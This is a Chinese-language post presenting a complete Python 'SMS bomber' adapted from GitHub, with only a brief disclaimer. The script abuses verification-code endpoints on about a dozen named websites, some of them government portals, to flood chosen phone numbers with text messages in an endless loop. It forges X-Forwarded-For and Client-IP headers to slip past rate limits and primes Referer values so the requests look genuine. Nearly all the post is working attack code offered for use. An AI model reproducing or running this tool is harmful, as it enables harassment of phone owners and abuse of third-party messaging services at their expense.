以下代碼基於 Github 中的一個短信轟炸的代碼,並在其基礎上進行了一點改進。不過首先聲明,不得利用本代碼做違法的事,使用本代碼所產生的任何后果本人都不承擔任何責任。
代碼是用python語言寫的,只需要安裝所需要的幾個包就可以了。短信轟炸機的原理就是通過爬蟲自動請求發送驗證碼,這樣所要轟炸的手機號就會不斷的收到驗證碼信息。其他細節見代碼注釋。
import requests import re import threading import os import random import socket import struct import time #API接口初始化,按照手機號生成不同的網址 def initAPI(phone): # 短信接口API 請求間隔時間 備注 請求方式 請求參數 需要SESSION的先決請求URL以及Referer APIList = [ ["https://login.ceconline.com/thirdPartLogin.do", 60, "世界經理人", "POST", {"mobileNumber": phone, "method": "getDynamicCode", "verifyType": "MOBILE_NUM_REG", "captcharType": "", "time": str(int(time.time() * 1000))}, ""], ["http://www.ntjxj.com/InternetWeb/SendYzmServlet", 120, "機動車手機綁定", "POST", {"sjhm": phone}, "http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp"], ["https://www.itjuzi.com/api/verificationCodes", 60, "IT橘子", "POST", {"account": phone}, ""], ["http://yifatong.com/Customers/gettcode", 60, "易法通", "GET", {"rnd": ("%0.3f" % (time.time())), "mobile": phone}, "http://yifatong.com/Customers/registration?url="], ["http://qydj.scjg.tj.gov.cn/reportOnlineService/login_login", 60, "天津企業登記", "POST", {'MOBILENO': phone, 'TEMP': 1}, ""], ["http://www.shijiebang.com/a/mobile/vcode/", 120, "世界邦", "GET", {'key': phone}, "http://www.shijiebang.com/reg/"], [ "http://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=&cururl=http://reg.ztgame.com/&mpcode=&pwd=&tname=&idcard=", 60, "巨人網絡", "GET", {'phone': phone}, "http://reg.ztgame.com/"], ["http://www.homekoo.com/zhixiao/zt_baoming_ajax_pc_new.php", 180, "尚品宅配", "POST", {"action": "OK", "username": "呂布", "tel": phone, "qq": "", "province": "", "city": "", "kehu_tel_time": "", "tg_id": "296", "sp_type": "986", "num_id": "5", "zhuanti_pages": "http://www.homekoo.com/zhixiao/cuxiao/index.php", "prevurl": ""}, "http://www.homekoo.com/zhixiao/cuxiao/index.php"], ["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融號", "GET", {"mobile": phone, "mbid": "197858"}, "http://jrh.financeun.com/Login/jrwLogin?web=jrw"], ["https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code", 30, "迪卡儂", "POST", {"countryCode": "CN", "mobile": phone}, "https://www.decathlon.com.cn/zh/create"], ["http://cta613.org/sendsms.php", 60, "支教", "POST", {"y": "1", "sj": phone}, ""], ["http://sns.qnzs.youth.cn/ajax/passportSendSms", 120, "青年之聲", "POST", {"mobile": phone}, "http://sns.qnzs.youth.cn/user/passport"] ] return APIList # 短信初始化 class initSMS(object): """docstring for initSMS""" def __init__(self): super(initSMS, self).__init__() self.SMSList = [] self.intervalInfo = 0 def initBomb(self,APIList): for x in APIList: self.intervalInfo += 1 self.SMSList.append(SMSObject(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo)) return self.SMSList class SMSObject(object): """docstring for SMSObject""" # __var 私有成員變量 def __init__(self, url, interval, info, method, params, others, intervalInfo): super(SMSObject, self).__init__() self.__url = url self.__interval = interval self.__info = info self.__intervalInfo = intervalInfo self.__method = method self.__params = params self.__others = others def getUrl(self): return self.__url def getInfo(self): return self.__info def getParams(self): return self.__params def getMethod(self): return self.__method def getOthers(self): return self.__others def getInterval(self): return self.__interval def getintervalInfo(self): return self.__intervalInfo def setintervalInfo(self, intervalInfo): self.__intervalInfo = intervalInfo class Bomb(object): """docstring for Bomb""" def __init__(self): super(Bomb, self).__init__() self.HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36', 'Referer': 'http://10.13.0.1', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2', 'cache-control': 'max-age=0', "X-Requested-With": "XMLHttpRequest" } def send(self, SMS): # return "SUCCESS" IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) self.HEADERS['X-FORWARDED-FOR'] = IP self.HEADERS['CLIENT-IP'] = IP try: session = requests.Session() if SMS.getOthers() != "": session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS) self.HEADERS['Referer'] = SMS.getOthers() if SMS.getMethod() == "GET": req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS) else: req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS) # print(req.url) except Exception as e: return str(e) return "已發送" if __name__ == '__main__': # 手機號列表,例如可設為["12345678987","98765432123"] phoneList=["12345678987","98765432123"] bombNum=1 while True: # 死循環 currTime=0 print("\n第",bombNum,"次轟炸!!!","\n") bombNum+=1 for phone in phoneList: #遍歷每個手機號 APIList=initAPI(phone) # API接口初始化 print("\n電話:", phone) SMSList = initSMS().initBomb(APIList=APIList) switchOn = Bomb() i = 0 currTime = 0 while True: currTime += 1 # print(currTime) for x in SMSList: if x.getintervalInfo() == 0: i += 1 info = switchOn.send(x) print(str(i) + "." + x.getInfo() + " " + info) x.setintervalInfo(x.getInterval()) else: x.setintervalInfo(x.getintervalInfo() - 1) time.sleep(5) #設置兩次轟炸的間隔時間,單位是秒 if i==len(APIList): break